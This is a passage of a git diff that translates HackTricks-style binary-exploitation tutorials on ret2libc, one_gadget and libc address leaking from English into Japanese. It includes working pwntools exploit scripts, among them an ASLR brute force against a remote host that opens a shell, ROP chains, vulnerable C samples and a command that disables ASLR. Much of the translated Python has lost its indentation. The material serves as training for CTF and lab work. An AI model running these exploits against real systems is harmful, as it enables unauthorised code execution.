-a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` +### gdb-peda / GEFの使用 -### Using gdb-peda / GEF - -Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** : - +使用されているlibcを知っていると、PedaやGEFを使って**system**関数、**exit**関数、そして文字列**`/bin/sh`**のアドレスを取得することも可能です: ```bash p system p exit find "/bin/sh" ``` +### /proc/\/mapsの使用 -### Using /proc/\/maps +プロセスがあなたと話すたびに**子プロセス**を作成している場合(ネットワークサーバー)、そのファイルを**読み取る**ことを試みてください(おそらくroot権限が必要です)。 -If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). - -Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process. +ここでは、プロセス内で**libcがどこにロードされているか**、およびプロセスのすべての子プロセスに対して**どこにロードされるか**を正確に見つけることができます。 ![](<../../../images/image (853).png>) -In this case it is loaded in **0xb75dc000** (This will be the base address of libc) +この場合、**0xb75dc000**にロードされています(これがlibcのベースアドレスになります)。 -## Unknown libc +## 不明なlibc -It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used: +バイナリがロードしている**libcを知らない**可能性があります(アクセスできないサーバーにあるかもしれません)。その場合、脆弱性を悪用して**いくつかのアドレスをリークし、どのlibc**ライブラリが使用されているかを見つけることができます: {{#ref}} rop-leaking-libc-address/ {{#endref}} -And you can find a pwntools template for this in: +これに関するpwntoolsテンプレートは次の場所にあります: {{#ref}} rop-leaking-libc-address/rop-leaking-libc-template.md {{#endref}} -### Know libc with 2 offsets +### 2つのオフセットでlibcを知る -Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**. +ページ[https://libc.blukat.me/](https://libc.blukat.me/)を確認し、libc内の関数の**いくつかのアドレス**を使用して**使用されているバージョン**を特定します。 -## Bypassing ASLR in 32 bits +## 32ビットでのASLRのバイパス -These brute-forcing attacks are **only useful for 32bit systems**. - -- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems): +これらのブルートフォース攻撃は**32ビットシステムにのみ有効**です。 +- エクスプロイトがローカルの場合、libcのベースアドレスをブルートフォースすることを試みることができます(32ビットシステムに有用): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function. +- リモートサーバーを攻撃する場合、**`libc`関数`usleep`のアドレスをブルートフォースする**ことを試みることができます。引数として10を渡します(例えば)。もしある時点で**サーバーが応答するのに10秒余分にかかる**場合、この関数のアドレスを見つけたことになります。 ## One Gadget -Execute a shell just jumping to **one** specific **address** in libc: +libcの**特定の**アドレスにジャンプしてシェルを実行します: {{#ref}} one-gadget.md {{#endref}} -## x86 Ret2lib Code Example - -In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server: +## x86 Ret2lib コード例 +この例では、ASLRブルートフォースがコードに統合されており、脆弱なバイナリはリモートサーバーにあります: ```python from pwn import * @@ -106,60 +93,59 @@ c = remote('192.168.85.181',20002) c.recvline() for off in range(0xb7000000, 0xb8000000, 0x1000): - p = "" - p += p32(off + 0x0003cb20) #system - p += "CCCC" #GARBAGE, could be address of exit() - p += p32(off + 0x001388da) #/bin/sh - payload = 'A'*0x20010 + p - c.send(payload) - c.interactive() +p = "" +p += p32(off + 0x0003cb20) #system +p += "CCCC" #GARBAGE, could be address of exit() +p += p32(off + 0x001388da) #/bin/sh +payload = 'A'*0x20010 + p +c.send(payload) +c.interactive() ``` +## x64 Ret2lib コード例 -## x64 Ret2lib Code Example - -Check the example from: +次の例を確認してください: {{#ref}} ../ {{#endref}} -## ARM64 Ret2lib Example +## ARM64 Ret2lib 例 -In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated. +ARM64の場合、ret命令はx30レジスタが指している場所にジャンプし、スタックレジスタが指している場所にはジャンプしません。したがって、少し複雑です。 -Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones). +また、ARM64では命令はその命令が行うことを行います(命令の途中でジャンプして新しい命令に変換することはできません)。 -Check the example from: +次の例を確認してください: {{#ref}} ret2lib-+-printf-leak-arm64.md {{#endref}} -## Ret-into-printf (or puts) +## Ret-into-printf (または puts) -This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**. +これは、特定のデータを引数として指定して`printf`/`puts`を呼び出すことで**プロセスから情報を漏洩させる**ことを可能にします。例えば、`puts`のアドレスをGOTに入れて`puts`を実行すると、**メモリ内の`puts`のアドレスが漏洩します**。 ## Ret2printf -This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible): +これは基本的に、**Ret2libを悪用して`printf`フォーマット文字列の脆弱性に変換する**ことを意味します。`ret2lib`を使用してprintfを呼び出し、悪用する値を渡します(無駄に聞こえますが可能です): {{#ref}} ../../format-strings/ {{#endref}} -## Other Examples & references +## その他の例と参考文献 - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - - Ret2lib, given a leak to the address of a function in libc, using one gadget +- Ret2lib、libc内の関数のアドレスへの漏洩を利用し、one gadgetを使用 - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64ビット、ASLR有効だがPIEなし、最初のステップはオーバーフローを埋めてカナリアのバイト0x00まで到達し、次にputsを呼び出して漏洩させることです。カナリアを使ってROPガジェットを作成し、putsを呼び出してGOTからputsのアドレスを漏洩させ、次に`system('/bin/sh')`を呼び出すROPガジェットを作成します。 - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. +- 64ビット、ASLR有効、カナリアなし、子関数からのメインでのスタックオーバーフロー。GOTからputsのアドレスを漏洩させるためにputsを呼び出すROPガジェットを作成し、その後one gadgetを呼び出します。 - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) - - 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget. +- 64ビット、PIEなし、カナリアなし、relroなし、nx。write関数を使用してwrite(libc)のアドレスを漏洩させ、one gadgetを呼び出します。 - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - - Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`. +- フォーマット文字列を使用してスタックからカナリアを漏洩させ、バッファオーバーフローを使用してsystem(GOT内)を呼び出し、`/bin/sh`のアドレスを渡します。 - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). +- 32ビット、relroなし、カナリアなし、nx、pie。悪いインデックスを悪用してスタックからlibcとヒープのアドレスを漏洩させます。バッファオーバーフローを悪用して`system('/bin/sh')`を呼び出すret2libを行います(ヒープアドレスはチェックをバイパスするために必要です)。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md index 5b24ece5f..cdaf1cfbc 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md @@ -2,36 +2,32 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +[**One Gadget**](https://github.com/david942j/one_gadget) は、**system** と **"/bin/sh"** を使用する代わりにシェルを取得することを可能にします。**One Gadget** は、libcライブラリ内でシェルを取得する方法 (`execve("/bin/sh")`) を1つの**アドレス**を使用して見つけます。\ +しかし、通常はいくつかの制約があり、最も一般的で回避しやすいものは `[rsp+0x30] == NULL` です。**RSP** 内の値を制御できるため、制約を回避するためにもう少しNULL値を送信するだけです。 ![](<../../../images/image (754).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` - -To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded. +One Gadgetが示すアドレスには、**`libc`が読み込まれているベースアドレスを追加する必要があります**。 > [!TIP] -> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements). +> One Gadgetは、**任意の書き込み2実行技術にとって大きな助け**となり、**ROP** **チェーンを簡素化する可能性があります**。なぜなら、1つのアドレスを呼び出すだけで済み(要件を満たす必要があります)。 ### ARM64 -The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**. +githubリポジトリは、**ARM64がツールによってサポートされている**と述べていますが、Kali 2023.3のlibcで実行すると、**ガジェットが見つかりません**。 ## Angry Gadget -From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\ -If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try! - +[**githubリポジトリ**](https://github.com/ChrisTheCoolHut/angry_gadget)から: [OneGadget](https://github.com/david942j/one_gadget)に触発されたこのツールはpythonで書かれており、[angr](https://github.com/angr/angr)を使用して`execve('/bin/sh', NULL, NULL)`を実行するガジェットの制約をテストします。\ +OneGadgetから試すガジェットがなくなった場合、Angry Gadgetは試すための複雑な制約を持つガジェットをさらに多く提供します! ```bash pip install angry_gadget angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md index a9cfca917..b9a010a51 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md @@ -2,65 +2,58 @@ {{#include ../../../banners/hacktricks-training.md}} -## Ret2lib - NX bypass with ROP (no ASLR) - +## Ret2lib - NXバイパスとROP(ASLRなし) ```c #include void bof() { - char buf[100]; - printf("\nbof>\n"); - fgets(buf, sizeof(buf)*3, stdin); +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); } void main() { - printfleak(); - bof(); +printfleak(); +bof(); } ``` - -Compile without canary: - +カナリアなしでコンパイル: ```bash clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector # Disable aslr echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` +### オフセットを見つける -### Find offset +### x30 オフセット -### x30 offset - -Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c). +**`pattern create 200`** を使ってパターンを作成し、**`pattern search $x30`** でオフセットを確認すると、オフセットは **`108`** (0x6c) であることがわかります。
-Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**: +分解されたメイン関数を見てみると、**`printf`** に直接ジャンプする命令に**ジャンプ**したいことがわかります。そのオフセットはバイナリがロードされる場所から **`0x860`** です:
-### Find system and `/bin/sh` string +### system と `/bin/sh` 文字列を見つける -As the ASLR is disabled, the addresses are going to be always the same: +ASLR が無効になっているため、アドレスは常に同じになります:
-### Find Gadgets +### ガジェットを見つける -We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. - -Using rooper an interesting gadget was found: +**`x0`** に **`/bin/sh`** のアドレスを持たせ、**`system`** を呼び出す必要があります。 +rooper を使用して、興味深いガジェットが見つかりました: ``` 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; ``` - -This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**. +このガジェットは **`$sp + 0x18`** から `x0` をロードし、その後 `sp` から `x29` と `x30` のアドレスをロードして `x30` にジャンプします。したがって、このガジェットを使用すると **最初の引数を制御し、その後 system にジャンプ** できます。 ### Exploit - ```python from pwn import * from time import sleep @@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh system = libc.sym["system"] def expl_bof(payload): - p.recv() - p.sendline(payload) +p.recv() +p.sendline(payload) # Ret2main stack_offset = 108 @@ -90,80 +83,72 @@ p.sendline(payload) p.interactive() p.close() ``` - -## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack - +## Ret2lib - NX、ASL & PIE バイパスとスタックからの printf リーク ```c #include void printfleak() { - char buf[100]; - printf("\nPrintf>\n"); - fgets(buf, sizeof(buf), stdin); - printf(buf); +char buf[100]; +printf("\nPrintf>\n"); +fgets(buf, sizeof(buf), stdin); +printf(buf); } void bof() { - char buf[100]; - printf("\nbof>\n"); - fgets(buf, sizeof(buf)*3, stdin); +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); } void main() { - printfleak(); - bof(); +printfleak(); +bof(); } ``` - -Compile **without canary**: - +**カナリアなしでコンパイル**: ```bash clang -o rop rop.c -fno-stack-protector -Wno-format-security ``` +### PIEとASLRだがカナリアなし -### PIE and ASLR but no canary +- ラウンド1: +- スタックからのPIEのリーク +- メインに戻るためにbofを悪用 +- ラウンド2: +- スタックからのlibcのリーク +- ROP: ret2system -- Round 1: - - Leak of PIE from stack - - Abuse bof to go back to main -- Round 2: - - Leak of libc from the stack - - ROP: ret2system +### Printfリーク -### Printf leaks - -Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses: +printfを呼び出す前にブレークポイントを設定すると、スタックにバイナリに戻るためのアドレスとlibcのアドレスがあることがわかります:
-Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address: +異なるオフセットを試すと、**`%21$p`**はバイナリアドレス(PIEバイパス)をリークし、**`%25$p`**はlibcアドレスをリークできます:
-Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.** +リークされたlibcアドレスからlibcのベースアドレスを引くと、**リークされたアドレスのベースからの**オフセットは`0x49c40`であることがわかります。 -### x30 offset +### x30オフセット -See the previous example as the bof is the same. +前の例を参照してください。bofは同じです。 -### Find Gadgets +### ガジェットを見つける -Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. - -Using rooper another interesting gadget was found: +前の例のように、**`x0`**に文字列**`/bin/sh`**のアドレスを持ち、**`system`**を呼び出す必要があります。 +rooperを使用して、別の興味深いガジェットが見つかりました: ``` 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; ``` - -This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**. +このガジェットは、**`$sp + 0x78`** から `x0` をロードし、その後 `sp` から x29 と x30 のアドレスをロードして x30 にジャンプします。したがって、このガジェットを使用すると、**最初の引数を制御し、その後 system にジャンプ**できます。 ### Exploit - ```python from pwn import * from time import sleep @@ -172,15 +157,15 @@ p = process('./rop') # For local binary libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") def leak_printf(payload, is_main_addr=False): - p.sendlineafter(b">\n" ,payload) - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - if is_main_addr: - response = response[:-4] + b"0000" - return int(response, 16) +p.sendlineafter(b">\n" ,payload) +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +if is_main_addr: +response = response[:-4] + b"0000" +return int(response, 16) def expl_bof(payload): - p.recv() - p.sendline(payload) +p.recv() +p.sendline(payload) # Get main address main_address = leak_printf(b"%21$p", True) @@ -213,5 +198,4 @@ p.sendline(payload) p.interactive() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index fb453a1ba..2ddeed737 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -1,84 +1,77 @@ -# Leaking libc address with ROP +# ROPを使用したlibcアドレスのリーク {{#include ../../../../banners/hacktricks-training.md}} -## Quick Resume +## 簡単な要約 -1. **Find** overflow **offset** -2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets -3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me)) -4. With the library, **calculate the ROP and exploit it** +1. **オーバーフローの**オフセットを**見つける** +2. **`POP_RDI`ガジェット、`PUTS_PLT`および`MAIN`ガジェットを**見つける** +3. 前のガジェットを使用して**putsまたは他のlibc関数のメモリアドレスをリークし、**libcのバージョンを**見つける**([ダウンロードする](https://libc.blukat.me)) +4. ライブラリを使用して、**ROPを計算し、エクスプロイトする** -## Other tutorials and binaries to practice +## 実践するための他のチュートリアルとバイナリ -This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ -Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) +このチュートリアルは、次のチュートリアルで提案されたコード/バイナリをエクスプロイトします: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ +他の有用なチュートリアル: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) -## Code - -Filename: `vuln.c` +## コード +ファイル名: `vuln.c` ```c #include int main() { - char buffer[32]; - puts("Simple ROP.\n"); - gets(buffer); +char buffer[32]; +puts("Simple ROP.\n"); +gets(buffer); - return 0; +return 0; } ``` ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` +## ROP - LIBCのリークテンプレート -## ROP - Leaking LIBC template - -Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script: +エクスプロイトをダウンロードし、脆弱なバイナリと同じディレクトリに配置し、スクリプトに必要なデータを提供します: {{#ref}} rop-leaking-libc-template.md {{#endref}} -## 1- Finding the offset - -The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`): +## 1- オフセットの特定 +テンプレートは、エクスプロイトを続行する前にオフセットが必要です。提供されている場合は、必要なコードを実行してそれを見つけます(デフォルトでは `OFFSET = ""`): ```bash ################### ### Find offset ### ################### OFFSET = ""#"A"*72 if OFFSET == "": - gdb.attach(p.pid, "c") #Attach and continue - payload = cyclic(1000) - print(r.clean()) - r.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #cyclic_find(0x6161616b) # Find the offset of those bytes - return +gdb.attach(p.pid, "c") #Attach and continue +payload = cyclic(1000) +print(r.clean()) +r.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#cyclic_find(0x6161616b) # Find the offset of those bytes +return ``` - -**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console: - +**実行** `python template.py` を入力すると、クラッシュしたプログラムが開かれた **GDB コンソール** が表示されます。その **GDB コンソール** 内で `x/wx $rsp` を実行して、RIP を上書きする予定の **バイト** を取得します。最後に、**python** コンソールを使用して **オフセット** を取得します: ```python from pwn import * cyclic_find(0x6161616b) ``` - ![](<../../../../images/image (1007).png>) -After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\ +オフセット(この場合は40)を見つけたら、その値を使用してテンプレート内のOFFSET変数を変更します。\ `OFFSET = "A" * 40` -Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF. +別の方法は、`pattern create 1000` -- _retまで実行_ -- `pattern seach $rsp`をGEFから使用することです。 -## 2- Finding Gadgets - -Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**. +## 2- ガジェットの発見 +次に、バイナリ内でROPガジェットを見つける必要があります。このROPガジェットは、**libc**を見つけるために`puts`を呼び出すのに役立ち、後で**最終的なエクスプロイトを実行する**ために使用されます。 ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` +`PUTS_PLT`は**function puts**を呼び出すために必要です。\ +`MAIN_PLT`は、1回のインタラクションの後に**main function**を再度呼び出すために必要で、**overflow**を**again**(無限のエクスプロイトのラウンド)するために使用されます。**各ROPの最後にプログラムを再度呼び出すために使用されます**。\ +**POP_RDI**は、呼び出された関数に**parameter**を**pass**するために必要です。 -The `PUTS_PLT` is needed to call the **function puts**.\ -The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\ -The **POP_RDI** is needed to **pass** a **parameter** to the called function. +このステップでは、pwntoolsが実行中にすべてを見つけるため、何も実行する必要はありません。 -In this step you don't need to execute anything as everything will be found by pwntools during the execution. - -## 3- Finding libc library - -Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address. +## 3- libcライブラリの発見 +今は、どのバージョンの**libc**ライブラリが使用されているかを見つける時です。そうするために、**function** `puts`のメモリ内の**address**を**leak**し、そのアドレスにあるputsバージョンがどの**library version**にあるかを**search**します。 ```python def get_addr(func_name): - FUNC_GOT = elf.got[func_name] - log.info(func_name + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +FUNC_GOT = elf.got[func_name] +log.info(func_name + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - #Send our rop-chain payload - #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment - print(p.clean()) # clean socket buffer (read all and print) - p.sendline(rop1) +#Send our rop-chain payload +#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment +print(p.clean()) # clean socket buffer (read all and print) +p.sendline(rop1) - #Parse leaked address - recieved = p.recvline().strip() - leak = u64(recieved.ljust(8, "\x00")) - log.info("Leaked libc address, "+func_name+": "+ hex(leak)) - #If not libc yet, stop here - if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +#Parse leaked address +recieved = p.recvline().strip() +leak = u64(recieved.ljust(8, "\x00")) +log.info("Leaked libc address, "+func_name+": "+ hex(leak)) +#If not libc yet, stop here +if libc != "": +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) - return hex(leak) +return hex(leak) get_addr("puts") #Search for puts address in memmory to obtains libc base if libc == "": - print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") - p.interactive() +print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") +p.interactive() ``` - -To do so, the most important line of the executed code is: - +実行されたコードの中で最も重要な行は次のとおりです: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` +これにより、**RIP**を**上書き**することが可能になるまでいくつかのバイトが送信されます: `OFFSET`。\ +次に、ガジェット`POP_RDI`の**アドレス**を設定し、次のアドレス(`FUNC_GOT`)が**RDI**レジスタに保存されます。これは、`PUTS_GOT`の**アドレス**を渡して**putsを呼び出す**ためです。puts関数のメモリ内のアドレスは`PUTS_GOT`が指すアドレスに保存されています。\ +その後、`PUTS_PLT`が呼び出され(**RDI**内に`PUTS_GOT`がある状態で)、putsは`PUTS_GOT`内の**内容を読み取ります**(**メモリ内のputs関数のアドレス**)そしてそれを**出力します**。\ +最後に、**main関数が再度呼び出され**、オーバーフローを再度利用できるようになります。 -This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\ -Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\ -After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\ -Finally, **main function is called again** so we can exploit the overflow again. - -This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**. +この方法で、**puts関数を騙して**、**メモリ内のputs関数の**アドレス(**libc**ライブラリ内)を**出力させました**。そのアドレスがわかったので、**どのlibcバージョンが使用されているかを検索できます**。 ![](<../../../../images/image (1049).png>) -As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ -But, in a remote exploit case I will explain here how can you find it: +**ローカル**バイナリを**利用している**ため、どのバージョンの**libc**が使用されているかを特定する必要はありません(ただし、`/lib/x86_64-linux-gnu/libc.so.6`でライブラリを見つけてください)。\ +しかし、リモートエクスプロイトの場合、ここでどのように見つけるかを説明します: -### 3.1- Searching for libc version (1) +### 3.1- libcバージョンの検索 (1) -You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\ -It will also allow you to download the discovered version of **libc** +ウェブページで使用されているライブラリを検索できます: [https://libc.blukat.me/](https://libc.blukat.me)\ +これにより、発見された**libc**のバージョンをダウンロードすることもできます。 ![](<../../../../images/image (221).png>) -### 3.2- Searching for libc version (2) +### 3.2- libcバージョンの検索 (2) -You can also do: +次のようにすることもできます: - `$ git clone https://github.com/niklasb/libc-database.git` - `$ cd libc-database` - `$ ./get` -This will take some time, be patient.\ -For this to work we need: +これには少し時間がかかるので、辛抱してください。\ +これを機能させるためには、次が必要です: -- Libc symbol name: `puts` -- Leaked libc adddress: `0x7ff629878690` - -We can figure out which **libc** that is most likely used. +- Libcシンボル名: `puts` +- 漏洩したlibcアドレス: `0x7ff629878690` +これにより、最も可能性の高い**libc**を特定できます。 ```bash ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` - -We get 2 matches (you should try the second one if the first one is not working). Download the first one: - +2つのマッチが得られます(最初のものが機能しない場合は2番目のものを試してください)。最初のものをダウンロードしてください: ```bash ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 - -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb - -> Downloading package - -> Extracting package - -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 +-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb +-> Downloading package +-> Extracting package +-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` +`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`からlibcを作業ディレクトリにコピーします。 -Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory. - -### 3.3- Other functions to leak - +### 3.3- 漏洩させる他の関数 ```python puts printf @@ -198,28 +181,24 @@ __libc_start_main read gets ``` +## 4- libcアドレスの発見と悪用 -## 4- Finding based libc address & exploiting 